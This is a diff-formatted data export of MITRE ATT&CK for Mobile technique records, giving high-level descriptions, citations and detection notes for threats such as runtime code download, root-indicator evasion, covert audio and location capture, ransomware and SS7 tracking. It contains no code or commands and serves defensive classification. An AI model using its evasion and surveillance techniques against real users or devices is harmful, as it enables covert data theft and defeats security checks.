applications encrypt their network traffic, sensitive data may not be accessible to an adversary, depending on the point of capture.",attack-pattern--3b0b604f-10db-41a0-b54c-493124d455b9,attack-pattern,"['collection', 'credential-access']",2018-10-17T00:14:20.652Z,2017-10-25T14:48:14.982Z,On both Android and iOS the user must grant consent to an app to act as a VPN. Both platforms also provide visual context to the user in the top status bar when a VPN connection is in place.,,,,,"['Android', 'iOS']",,,,,,,,,MOB-T1013,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1407', 'external_id': 'T1407'}, {'external_id': 'APP-20', 'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-20.html'}, {'url': 'https://www.internetsociety.org/sites/default/files/10_5_0.pdf', 'description': 'Sebastian Poeplau, Yanick Fratantonio, Antonio Bianchi, Christopher Kruegel, Giovanni Vigna. (2014, February). Execute This! Analyzing Unsafe and Malicious Dynamic Code Loading in Android Applications. Retrieved December 21, 2016.', 'source_name': 'Poeplau-ExecuteThis'}, {'url': 'https://labs.bromium.com/2014/07/31/remote-code-execution-on-android-devices/', 'description': 'Tom Sutcliffe. (2014, July 31). Remote code execution on Android devices. Retrieved December 9, 2016.', 'source_name': 'Bromium-AndroidRCE'}, {'url': 'https://www.fireeye.com/blog/threat-research/2016/01/hot_or_not_the_bene.html', 'description': 'Jing Xie, Zhaofeng Chen, Jimmy Su. (2016, January 27). HOT OR NOT? THE BENEFITS AND RISKS OF IOS REMOTE HOT PATCHING. Retrieved December 9, 2016.', 'source_name': 'FireEye-JSPatch'}, {'url': 'https://www.usenix.org/conference/usenixsecurity13/technical-sessions/presentation/wang_tielei', 'description': 'Tielei Wang, Kangjie Lu, Long Lu, Simon Chung, and Wenke Lee. (2013, August). Jekyll on iOS: When Benign Apps Become Evil. Retrieved December 9, 2016.', 'source_name': 'Wang'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}]",1.2,,https://attack.mitre.org/techniques/T1407,mitre-mobile-attack,T1407,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Download New Code at Runtime,"An app could download and execute dynamic code (not included in the original application package) after installation to evade static analysis techniques (and potentially dynamic analysis techniques) used for application vetting or application store review.(Citation: Poeplau-ExecuteThis) +If applications encrypt their network traffic, sensitive data may not be accessible to an adversary, depending on the point of capture.","['collection', 'credential-access']",https://attack.mitre.org/techniques/T1410,mitre-mobile-attack,T1410,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,On both Android and iOS the user must grant consent to an app to act as a VPN. Both platforms also provide visual context to the user in the top status bar when a VPN connection is in place.,,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'],MOB-T1013 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1407', 'external_id': 'T1407'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-20.html', 'external_id': 'APP-20'}, {'source_name': 'Poeplau-ExecuteThis', 'description': 'Sebastian Poeplau, Yanick Fratantonio, Antonio Bianchi, Christopher Kruegel, Giovanni Vigna. (2014, February). Execute This! Analyzing Unsafe and Malicious Dynamic Code Loading in Android Applications. Retrieved December 21, 2016.', 'url': 'https://www.internetsociety.org/sites/default/files/10_5_0.pdf'}, {'source_name': 'Bromium-AndroidRCE', 'description': 'Tom Sutcliffe. (2014, July 31). Remote code execution on Android devices. Retrieved December 9, 2016.', 'url': 'https://labs.bromium.com/2014/07/31/remote-code-execution-on-android-devices/'}, {'source_name': 'FireEye-JSPatch', 'description': 'Jing Xie, Zhaofeng Chen, Jimmy Su. (2016, January 27). HOT OR NOT? THE BENEFITS AND RISKS OF IOS REMOTE HOT PATCHING. Retrieved December 9, 2016.', 'url': 'https://www.fireeye.com/blog/threat-research/2016/01/hot_or_not_the_bene.html'}, {'source_name': 'Wang', 'description': 'Tielei Wang, Kangjie Lu, Long Lu, Simon Chung, and Wenke Lee. (2013, August). Jekyll on iOS: When Benign Apps Become Evil. Retrieved December 9, 2016.', 'url': 'https://www.usenix.org/conference/usenixsecurity13/technical-sessions/presentation/wang_tielei'}]",1.2,attack-pattern,attack-pattern--6c49d50f-494d-4150-b774-a655022d20a6,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:14.460Z,2019-10-09T19:40:52.090Z,Download New Code at Runtime,"An app could download and execute dynamic code (not included in the original application package) after installation to evade static analysis techniques (and potentially dynamic analysis techniques) used for application vetting or application store review.(Citation: Poeplau-ExecuteThis) On Android, dynamic code could include native code, Dalvik code, or JavaScript code that uses the Android WebView's JavascriptInterface capability.(Citation: Bromium-AndroidRCE) -On iOS, techniques also exist for executing dynamic code downloaded after application installation.(Citation: FireEye-JSPatch)(Citation: Wang)",attack-pattern--6c49d50f-494d-4150-b774-a655022d20a6,attack-pattern,['defense-evasion'],2019-10-09T19:40:52.090Z,2017-10-25T14:48:14.460Z,"Downloading new code at runtime can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversary behavior.",,,,,"['Android', 'iOS']",,,,,,,,,MOB-T1010,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1408', 'external_id': 'T1408'}, {'url': 'https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-5.html', 'source_name': 'NIST Mobile Threat Catalogue', 'external_id': 'EMM-5'}, {'source_name': 'Brodie', 'description': 'Daniel Brodie. (2016). Practical Attacks against Mobile Device Management (MDM). Retrieved December 21, 2016.', 'url': 'https://media.blackhat.com/eu-13/briefings/Brodie/bh-eu-13-lacoon-attacks-mdm-brodie-wp.pdf'}, {'source_name': 'Tan', 'description': 'Vincent Tan. (2016, August). BAD FOR ENTERPRISE: ATTACKING BYOD ENTERPRISE MOBILE SECURITY SOLUTIONS. Retrieved February 4, 2017.', 'url': 'http://www.blackhat.com/us-16/briefings.html#bad-for-enterprise-attacking-byod-enterprise-mobile-security-solutions'}, {'source_name': 'Rastogi', 'description': 'Vaibhav Rastogi, Yan Chen, and Xuxian Jiang. (2013, May). DroidChameleon: Evaluating Android Anti-malware against Transformation Attacks. Retrieved December 9, 2016.', 'url': 'http://pages.cs.wisc.edu/~vrastogi/static/papers/rcj13b.pdf'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}]",1.1,,https://attack.mitre.org/techniques/T1408,mitre-mobile-attack,T1408,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Disguise Root/Jailbreak Indicators,"An adversary could use knowledge of the techniques used by security software to evade detection(Citation: Brodie)(Citation: Tan). For example, some mobile security products perform compromised device detection by searching for particular artifacts such as an installed ""su"" binary, but that check could be evaded by naming the binary something else. Similarly, polymorphic code techniques could be used to evade signature-based detection(Citation: Rastogi).",attack-pattern--b332a960-3c04-495a-827f-f17a5daed3a6,attack-pattern,['defense-evasion'],2019-02-03T14:34:59.071Z,2017-10-25T14:48:14.003Z,,,,,,"['Android', 'iOS']",,,,,,,,,MOB-T1011,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1427', 'external_id': 'T1427'}, {'url': 'https://pages.nist.gov/mobile-threat-catalogue/physical-threats/PHY-2.html', 'source_name': 'NIST Mobile Threat Catalogue', 'external_id': 'PHY-2'}, {'source_name': 'Wang-ExploitingUSB', 'description': 'Z. Wang and A. Stavrou. (2010, December 6-10). Exploiting smart-phone USB connectivity for fun and profit. Retrieved December 22, 2016.', 'url': 'http://dl.acm.org/citation.cfm?id=1920314'}, {'source_name': 'ArsTechnica-PoisonTap', 'description': 'Dan Goodin. (2016, November 16). Meet PoisonTap, the $5 tool that ransacks password-protected computers. Retrieved December 22, 2016.', 'url': 'http://arstechnica.com/security/2016/11/meet-poisontap-the-5-tool-that-ransacks-password-protected-computers/'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'lateral-movement'}]",1.1,,https://attack.mitre.org/techniques/T1427,mitre-mobile-attack,T1427,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Attack PC via USB Connection,"With escalated privileges, an adversary could program the mobile device to impersonate USB devices such as input devices (keyboard and mouse), storage devices, and/or networking devices in order to attack a physically connected PC(Citation: Wang-ExploitingUSB)(Citation: ArsTechnica-PoisonTap) This technique has been demonstrated on Android. We are unaware of any demonstrations on iOS.",attack-pattern--a0464539-e1b7-4455-a355-12495987c300,attack-pattern,['lateral-movement'],2019-02-03T14:51:19.932Z,2017-10-25T14:48:13.625Z,,,,,,['Android'],,,,,,,,,MOB-T1030,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1428', 'external_id': 'T1428'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-32.html', 'external_id': 'APP-32'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'lateral-movement'}]",1.0,,https://attack.mitre.org/techniques/T1428,mitre-mobile-attack,T1428,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Exploit Enterprise Resources,"Adversaries may attempt to exploit enterprise servers, workstations, or other resources over the network. This technique may take advantage of the mobile device's access to an internal enterprise network either through local connectivity or through a Virtual Private Network (VPN).",attack-pattern--22379609-a99f-4a01-bd7e-70f3e105859d,attack-pattern,['lateral-movement'],2018-10-17T00:14:20.652Z,2017-10-25T14:48:13.259Z,,,,,,"['Android', 'iOS']",,,,,,,,,MOB-T1031,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1429', 'external_id': 'T1429'}, {'external_id': 'APP-19', 'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-19.html'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}]",2.0,,https://attack.mitre.org/techniques/T1429,mitre-mobile-attack,T1429,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Capture Audio,"Adversaries may capture audio to collect information on a user of a mobile device using standard operating system APIs. Adversaries may target audio information such as user conversations, surroundings, phone calls, or other sensitive information. +On iOS, techniques also exist for executing dynamic code downloaded after application installation.(Citation: FireEye-JSPatch)(Citation: Wang)",['defense-evasion'],https://attack.mitre.org/techniques/T1407,mitre-mobile-attack,T1407,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Downloading new code at runtime can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversary behavior.",,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'],MOB-T1010 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1408', 'external_id': 'T1408'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-5.html', 'external_id': 'EMM-5'}, {'source_name': 'Brodie', 'description': 'Daniel Brodie. (2016). Practical Attacks against Mobile Device Management (MDM). Retrieved December 21, 2016.', 'url': 'https://media.blackhat.com/eu-13/briefings/Brodie/bh-eu-13-lacoon-attacks-mdm-brodie-wp.pdf'}, {'source_name': 'Tan', 'description': 'Vincent Tan. (2016, August). BAD FOR ENTERPRISE: ATTACKING BYOD ENTERPRISE MOBILE SECURITY SOLUTIONS. Retrieved February 4, 2017.', 'url': 'http://www.blackhat.com/us-16/briefings.html#bad-for-enterprise-attacking-byod-enterprise-mobile-security-solutions'}, {'source_name': 'Rastogi', 'description': 'Vaibhav Rastogi, Yan Chen, and Xuxian Jiang. (2013, May). DroidChameleon: Evaluating Android Anti-malware against Transformation Attacks. Retrieved December 9, 2016.', 'url': 'http://pages.cs.wisc.edu/~vrastogi/static/papers/rcj13b.pdf'}]",1.1,attack-pattern,attack-pattern--b332a960-3c04-495a-827f-f17a5daed3a6,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:14.003Z,2019-02-03T14:34:59.071Z,Disguise Root/Jailbreak Indicators,"An adversary could use knowledge of the techniques used by security software to evade detection(Citation: Brodie)(Citation: Tan). For example, some mobile security products perform compromised device detection by searching for particular artifacts such as an installed ""su"" binary, but that check could be evaded by naming the binary something else. Similarly, polymorphic code techniques could be used to evade signature-based detection(Citation: Rastogi).",['defense-evasion'],https://attack.mitre.org/techniques/T1408,mitre-mobile-attack,T1408,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'],MOB-T1011 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'lateral-movement'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1427', 'external_id': 'T1427'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/physical-threats/PHY-2.html', 'external_id': 'PHY-2'}, {'source_name': 'Wang-ExploitingUSB', 'description': 'Z. Wang and A. Stavrou. (2010, December 6-10). Exploiting smart-phone USB connectivity for fun and profit. Retrieved December 22, 2016.', 'url': 'http://dl.acm.org/citation.cfm?id=1920314'}, {'source_name': 'ArsTechnica-PoisonTap', 'description': 'Dan Goodin. (2016, November 16). Meet PoisonTap, the $5 tool that ransacks password-protected computers. Retrieved December 22, 2016.', 'url': 'http://arstechnica.com/security/2016/11/meet-poisontap-the-5-tool-that-ransacks-password-protected-computers/'}]",1.1,attack-pattern,attack-pattern--a0464539-e1b7-4455-a355-12495987c300,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:13.625Z,2019-02-03T14:51:19.932Z,Attack PC via USB Connection,"With escalated privileges, an adversary could program the mobile device to impersonate USB devices such as input devices (keyboard and mouse), storage devices, and/or networking devices in order to attack a physically connected PC(Citation: Wang-ExploitingUSB)(Citation: ArsTechnica-PoisonTap) This technique has been demonstrated on Android. We are unaware of any demonstrations on iOS.",['lateral-movement'],https://attack.mitre.org/techniques/T1427,mitre-mobile-attack,T1427,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,['Android'],,,,,,,,['Post-Adversary Device Access'],MOB-T1030 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'lateral-movement'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1428', 'external_id': 'T1428'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-32.html', 'external_id': 'APP-32'}]",1.0,attack-pattern,attack-pattern--22379609-a99f-4a01-bd7e-70f3e105859d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:13.259Z,2018-10-17T00:14:20.652Z,Exploit Enterprise Resources,"Adversaries may attempt to exploit enterprise servers, workstations, or other resources over the network. This technique may take advantage of the mobile device's access to an internal enterprise network either through local connectivity or through a Virtual Private Network (VPN).",['lateral-movement'],https://attack.mitre.org/techniques/T1428,mitre-mobile-attack,T1428,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'],MOB-T1031 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1429', 'external_id': 'T1429'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-19.html', 'external_id': 'APP-19'}]",2.0,attack-pattern,attack-pattern--6683aa0c-d98a-4f5b-ac57-ca7e9934a760,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:12.913Z,2019-09-20T17:59:11.041Z,Capture Audio,"Adversaries may capture audio to collect information on a user of a mobile device using standard operating system APIs. Adversaries may target audio information such as user conversations, surroundings, phone calls, or other sensitive information. -Android and iOS, by default, requires that an application request access to microphone devices from the user. In Android, applications must hold the android.permission.RECORD_AUDIO permission to access the microphone and the android.permission.CAPTURE_AUDIO_OUTPUT permission to access audio output such as speakers. Android does not allow third-party applications to hold android.permission.CAPTURE_AUDIO_OUTPUT, so audio output can only be obtained by privileged applications (distributed by Google or the device vendor) or after a successful privilege escalation attack. In iOS, applications must include the `NSMicrophoneUsageDescription` key in their `Info.plist` file.",attack-pattern--6683aa0c-d98a-4f5b-ac57-ca7e9934a760,attack-pattern,['collection'],2019-09-20T17:59:11.041Z,2017-10-25T14:48:12.913Z,"On both Android (6.0 and up) and iOS, the user can view which applications have permission to use the microphone through the device settings screen, and the user can choose to revoke the permissions.",,,,,"['Android', 'iOS']",,,,,,,,,MOB-T1032,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1430', 'external_id': 'T1430'}, {'external_id': 'APP-24', 'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-24.html'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'discovery'}]",1.0,,https://attack.mitre.org/techniques/T1430,mitre-mobile-attack,T1430,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Location Tracking,An adversary could use a malicious or exploited application to surreptitiously track the device's physical location through use of standard operating system APIs.,attack-pattern--99e6295e-741b-4857-b6e5-64989eb039b4,attack-pattern,"['collection', 'discovery']",2019-10-15T20:01:06.186Z,2017-10-25T14:48:12.267Z,"On both Android (6.0 and up) and iOS, the user can view which applications have permission to access device location through the device settings screen, and the user can choose to revoke the permissions.",,,,,"['Android', 'iOS']",,,,,,,,,MOB-T1033,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1432', 'external_id': 'T1432'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html', 'external_id': 'APP-13'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}]",1.0,,https://attack.mitre.org/techniques/T1432,mitre-mobile-attack,T1432,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Access Contact List,"An adversary could call standard operating system APIs from a malicious application to gather contact list (i.e., address book) data, or with escalated privileges could directly access files containing contact list data.",attack-pattern--4e6620ac-c30c-4f6d-918e-fa20cae7c1ce,attack-pattern,['collection'],2018-10-17T00:14:20.652Z,2017-10-25T14:48:11.535Z,"On both Android (6.0 and up) and iOS, the user can view which applications have permission to access contact list information through the device settings screen, and the user can choose to revoke the permissions.",,,,,"['Android', 'iOS']",,,,,,,,,MOB-T1035,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1433', 'external_id': 'T1433'}, {'external_id': 'APP-13', 'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}]",1.1,,https://attack.mitre.org/techniques/T1433,mitre-mobile-attack,T1433,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Access Call Log,"On Android, an adversary could call standard operating system APIs from a malicious application to gather call log data, or with escalated privileges could directly access files containing call log data. +Android and iOS, by default, requires that an application request access to microphone devices from the user. In Android, applications must hold the android.permission.RECORD_AUDIO permission to access the microphone and the android.permission.CAPTURE_AUDIO_OUTPUT permission to access audio output such as speakers. Android does not allow third-party applications to hold android.permission.CAPTURE_AUDIO_OUTPUT, so audio output can only be obtained by privileged applications (distributed by Google or the device vendor) or after a successful privilege escalation attack. In iOS, applications must include the `NSMicrophoneUsageDescription` key in their `Info.plist` file.",['collection'],https://attack.mitre.org/techniques/T1429,mitre-mobile-attack,T1429,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"On both Android (6.0 and up) and iOS, the user can view which applications have permission to use the microphone through the device settings screen, and the user can choose to revoke the permissions.",,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'],MOB-T1032 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1430', 'external_id': 'T1430'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-24.html', 'external_id': 'APP-24'}]",1.0,attack-pattern,attack-pattern--99e6295e-741b-4857-b6e5-64989eb039b4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:12.267Z,2019-10-15T20:01:06.186Z,Location Tracking,An adversary could use a malicious or exploited application to surreptitiously track the device's physical location through use of standard operating system APIs.,"['collection', 'discovery']",https://attack.mitre.org/techniques/T1430,mitre-mobile-attack,T1430,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"On both Android (6.0 and up) and iOS, the user can view which applications have permission to access device location through the device settings screen, and the user can choose to revoke the permissions.",,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'],MOB-T1033 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1432', 'external_id': 'T1432'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html', 'external_id': 'APP-13'}]",1.0,attack-pattern,attack-pattern--4e6620ac-c30c-4f6d-918e-fa20cae7c1ce,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:11.535Z,2018-10-17T00:14:20.652Z,Access Contact List,"An adversary could call standard operating system APIs from a malicious application to gather contact list (i.e., address book) data, or with escalated privileges could directly access files containing contact list data.",['collection'],https://attack.mitre.org/techniques/T1432,mitre-mobile-attack,T1432,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"On both Android (6.0 and up) and iOS, the user can view which applications have permission to access contact list information through the device settings screen, and the user can choose to revoke the permissions.",,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'],MOB-T1035 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1433', 'external_id': 'T1433'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html', 'external_id': 'APP-13'}]",1.1,attack-pattern,attack-pattern--79eec66a-9bd0-4a3f-ac82-19159e94bd44,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:11.116Z,2019-09-18T18:17:43.466Z,Access Call Log,"On Android, an adversary could call standard operating system APIs from a malicious application to gather call log data, or with escalated privileges could directly access files containing call log data. -On iOS, applications do not have access to the call log, so privilege escalation would be required in order to access the data.",attack-pattern--79eec66a-9bd0-4a3f-ac82-19159e94bd44,attack-pattern,['collection'],2019-09-18T18:17:43.466Z,2017-10-25T14:48:11.116Z,"On Android 6.0 and up, the user can view which applications have permission to access call log information through the device settings screen, and the user can choose to revoke the permissions.",,,,,"['Android', 'iOS']",,,,,,,,,MOB-T1036,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1471', 'external_id': 'T1471'}, {'external_id': 'APP-28', 'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-28.html'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'impact'}]",3.0,,https://attack.mitre.org/techniques/T1471,mitre-mobile-attack,T1471,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Data Encrypted for Impact,"An adversary may encrypt files stored on the mobile device to prevent the user from accessing them, for example with the intent of only unlocking access to the files after a ransom is paid. Without escalated privileges, the adversary is generally limited to only encrypting files in external/shared storage locations. This technique has been demonstrated on Android. We are unaware of any demonstrated use on iOS.",attack-pattern--d9e88203-2b5d-405f-a406-2933b1e3d7e4,attack-pattern,['impact'],2019-10-01T13:51:22.001Z,2017-10-25T14:48:10.285Z,,,,,,['Android'],,,,,,,,,MOB-T1074,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1450', 'external_id': 'T1450'}, {'url': 'https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-38.html', 'source_name': 'NIST Mobile Threat Catalogue', 'external_id': 'CEL-38'}, {'source_name': 'Engel-SS7', 'description': 'Tobias Engel. (2014, December). SS7: Locate. Track. Manipulate.. Retrieved December 19, 2016.', 'url': 'https://berlin.ccc.de/~tobias/31c3-ss7-locate-track-manipulate.pdf'}, {'source_name': 'Engel-SS7-2008', 'description': 'Tobias Engel. (2008, December). Locating Mobile Phones using SS7. Retrieved December 19, 2016.', 'url': 'https://www.youtube.com/watch?v=q0n5ySqbfdI'}, {'source_name': '3GPP-Security', 'description': '3GPP. (2000, January). A Guide to 3rd Generation Security. Retrieved December 19, 2016.', 'url': 'http://www.3gpp.org/ftp/tsg_sa/wg3_security/_specs/33900-120.pdf'}, {'source_name': 'Positive-SS7', 'description': 'Positive Technologies. (n.d.). SS7 Attack Discovery. Retrieved December 19, 2016.', 'url': 'https://www.ptsecurity.com/upload/ptcom/PT-SS7-AD-Data-Sheet-eng.pdf'}, {'source_name': 'CSRIC5-WG10-FinalReport', 'description': 'Communications Security, Reliability, Interoperability Council (CSRIC). (2017, March). Working Group 10 Legacy Systems Risk Reductions Final Report. Retrieved May 24, 2017.', 'url': 'https://www.fcc.gov/files/csric5-wg10-finalreport031517pdf'}, {'source_name': 'CSRIC-WG1-FinalReport', 'description': 'CSRIC-WG1-FinalReport'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'network-effects'}]",1.1,,https://attack.mitre.org/techniques/T1450,mitre-mobile-attack,T1450,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Exploit SS7 to Track Device Location,An adversary could exploit signaling system vulnerabilities to track the location of mobile devices. (Citation: Engel-SS7) (Citation: Engel-SS7-2008) (Citation: 3GPP-Security) (Citation: Positive-SS7) (Citation: CSRIC5-WG10-FinalReport),attack-pattern--52651225-0b3a-482d-aa7e-10618fd063b5,attack-pattern,['network-effects'],2019-02-03T15:06:10.014Z,2017-10-25T14:48:09.864Z,"Network carriers may be able to use firewalls, Intrusion Detection Systems (IDS), or Intrusion Prevention Systems (IPS) to detect and/or block SS7 exploitation.(Citation: CSRIC-WG1-FinalReport) The CSRIC also suggests threat information sharing between telecommunications industry members.",,,,,"['Android', 'iOS']",,,,,,,,,MOB-T1053,,,,,['Without Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'external_id': 'T1448', 'url': 'https://attack.mitre.org/techniques/T1448'}, {'source_name': 'Google Bread', 'url': 'https://security.googleblog.com/2020/01/pha-family-highlights-bread-and-friends.html', 'description': 'A. Guertin, V. Kotov, Android Security & Privacy Team. (2020, January 9). PHA Family Highlights: Bread (and Friends) . Retrieved April 27, 2020.'}, {'url': 'https://static.googleusercontent.com/media/source.android.com/en//security/reports/Google_Android_Security_2014_Report_Final.pdf', 'description': 'Google. (2014). Android Security 2014 Year in Review. Retrieved December 12, 2016.', 'source_name': 'AndroidSecurity2014'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'impact'}]",2.0,False,https://attack.mitre.org/techniques/T1448,mitre-mobile-attack,T1448,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Carrier Billing Fraud,"A malicious app may trigger fraudulent charges on a victim’s carrier billing statement in several different ways, including SMS toll fraud and SMS shortcodes that make purchases. +On iOS, applications do not have access to the call log, so privilege escalation would be required in order to access the data.",['collection'],https://attack.mitre.org/techniques/T1433,mitre-mobile-attack,T1433,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"On Android 6.0 and up, the user can view which applications have permission to access call log information through the device settings screen, and the user can choose to revoke the permissions.",,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'],MOB-T1036 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-mobile-attack', 'url': 